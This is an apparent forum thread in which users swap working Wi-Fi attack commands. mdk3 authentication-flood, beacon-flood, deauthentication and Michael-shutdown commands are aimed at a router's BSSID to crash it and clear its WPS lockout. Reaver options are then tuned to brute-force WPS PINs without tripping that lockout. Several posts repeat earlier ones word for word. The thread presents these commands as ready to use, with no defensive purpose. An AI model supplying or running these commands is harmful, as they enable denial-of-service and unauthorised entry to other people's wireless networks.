MDK3 Secret Destruction Mode

[bad_bobby]

Wow!

This actually works.

I had a locked router and the commands from the first post unlocked it (and moved it to a different channel).

These commands worked for me in this order:

Monitor mode:

airmon-ng start wlan1 [or whatever your wlan is]

Mdk3:

sudo mdk3 mon0 a -a 00:11:22:33:44:55 -m
sudo mdk3 mon0 b -a 00:11:22:33:44:55 -n " name_of_AP" -h -c [no of channel]
sudo mdk3 mon0 d -a 00:11:22:33:44:55 -c [no of channel]
sudo mdk3 mon0 m -t 00:11:22:33:44:55

Then test with:

sudo wash -i mon0 -C

Thanks so much soxrox!

The next question is: what are the optimal settings for preventing routers from locking in the first place.

Here is one idea - see the very last paragraph (http://sethioz.com/mediawiki/index.p...PA/WPA2/WEP%29) but there must be other suggestions.

What I am looking for is a series of reaver options based on people's experiences that reduce the liklihood of a lockout.

[soxrok2212]

The next question is: what are the optimal settings for preventing routers from locking in the first place.

Here is one idea - see the very last paragraph (http://sethioz.com/mediawiki/index.p...PA/WPA2/WEP%29) but there must be other suggestions.

What I am looking for is a series of reaver options based on people's experiences that reduce the liklihood of a lockout.

I usually run reaver like this:

reaver -i mon0 -c x -b xx:xx:xx:xx:xx:xx -vv -a -S -N -E

Sometimes, (like I said earlier), add this to the end:

-r x:y

Where x= number of attempts and y= delay after x number of attempts, so -r 2:300 would try 2 pins every 5 minutes.

The other variables in the command mean this:

-a Auto select some advanced features.

-S Use small diffleman attacks (reduces strain on the router).

-N No nacks, just speeds things up a bit.

-E Terminates each pin attempt with an EAPOL fail so it may trick the router into thinking the pin failed and may let you try more before it locks.

Other than this, there is really no way to prevent the locks.

[VinnyG]

Wow!

This actually works.

I had a locked router and the commands from the first post unlocked it (and moved it to a different channel).

These commands worked for me in this order:

Monitor mode:

airmon-ng start wlan1 [or whatever your wlan is]

Mdk3:

sudo mdk3 mon0 a -a 00:11:22:33:44:55 -m
sudo mdk3 mon0 b -a 00:11:22:33:44:55 -n " name_of_AP" -h -c [no of channel]
sudo mdk3 mon0 d -a 00:11:22:33:44:55 -c [no of channel]
sudo mdk3 mon0 m -t 00:11:22:33:44:55

Then test with:

sudo wash -i mon0 -C

Thanks so much soxrox!

The next question is: what are the optimal settings for preventing routers from locking in the first place.

Here is one idea - see the very last paragraph (http://sethioz.com/mediawiki/index.p...PA/WPA2/WEP%29) but there must be other suggestions.

What I am looking for is a series of reaver options based on people's experiences that reduce the liklihood of a lockout.

same situation here, authentication flood alone does nothing, but combined with -b, -d, -m commands breaked the router in a few minutes, and unlocked them

[soxrok2212]

same situation here, authentication flood alone does nothing, but combined with -b, -d, -m commands breaked the router in a few minutes, and unlocked them

Glad to know it worked!